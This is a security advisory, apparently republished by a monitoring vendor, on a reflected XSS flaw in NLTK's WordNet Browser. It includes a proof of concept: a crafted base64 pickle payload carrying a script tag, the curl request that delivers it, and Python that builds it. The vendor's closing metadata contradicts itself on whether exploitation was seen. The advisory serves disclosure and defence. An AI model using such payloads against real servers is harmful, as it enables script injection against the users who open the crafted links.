Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-gfwx-w7gr-fvh7
No affected components available
Summary
nltk.app.wordnet_app contains a reflected cross-site scripting issue in the lookup_... route. A crafted lookup_<payload> URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled word data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application.
Details
The vulnerable flow is in nltk/app/wordnet_app.py:
-
- Requests starting with
lookup_are handled as HTML responses: page, word = page_from_href(sp)
- Requests starting with
-
page_from_href()callspage_from_reference(Reference.decode(href))
-
word = href.word
-
- If no results are found,
wordis inserted directly into the HTML body: body = "The word or words '%s' were not found in the dictionary." % word
- If no results are found,
This is inconsistent with the search route, which does escape user input:
nltk/app/wordnet_app.py:136word = html.escape(...)
As a result, a malicious lookup_... payload can inject script into the response page.
The issue is exploitable because:
Reference.decode()accepts attacker-controlled base64-encoded pickle data for the URL state.- The decoded
wordis reflected into HTML withouthtml.escape(). - The server is started with
HTTPServer(("", port), MyServerHandler), so it listens on all interfaces by default, not justlocalhost.
PoC
- Start the WordNet Browser in an isolated Docker environment:
docker run -d --name nltk-wordnet-web -p 8002:8002 \
nltk-sandbox \
python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8002, False)"
- Use the following crafted payload, which decodes to:
("<script>alert(1)</script>", {})
Encoded payload:
gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=
- Request the vulnerable route:
curl -s "http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4="
- Observed result:
The word or words '<script>alert(1)</script>' were not found in the dictionary.
<img width="867" height="208" alt="127" src="https://github.com/user-attachments/assets/ec09da08-09bc-4fc4-bfc1-c4489e9adaf6" />
I also validated the issue directly at function level in Docker:
import base64
import pickle
from nltk.app.wordnet_app import page_from_href
payload = base64.urlsafe_b64encode(
pickle.dumps(("<script>alert(1)</script>", {}), -1)
).decode()
page, word = page_from_href(payload)
print(word)
print("<script>alert(1)</script>" in page)
Observed output:
WORD= <script>alert(1)</script>
HAS_SCRIPT= True
Impact
This is a reflected XSS issue in the NLTK WordNet Browser web UI.
An attacker who can convince a user to open a crafted lookup_... URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to:
- run arbitrary script in the browser tab
- manipulate the page content shown to the user
- issue same-origin requests to other WordNet Browser routes
- potentially trigger available UI actions in that local app context
This primarily impacts users who run nltk.app.wordnet_app as a local or self-hosted HTTP service and open attacker-controlled links.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard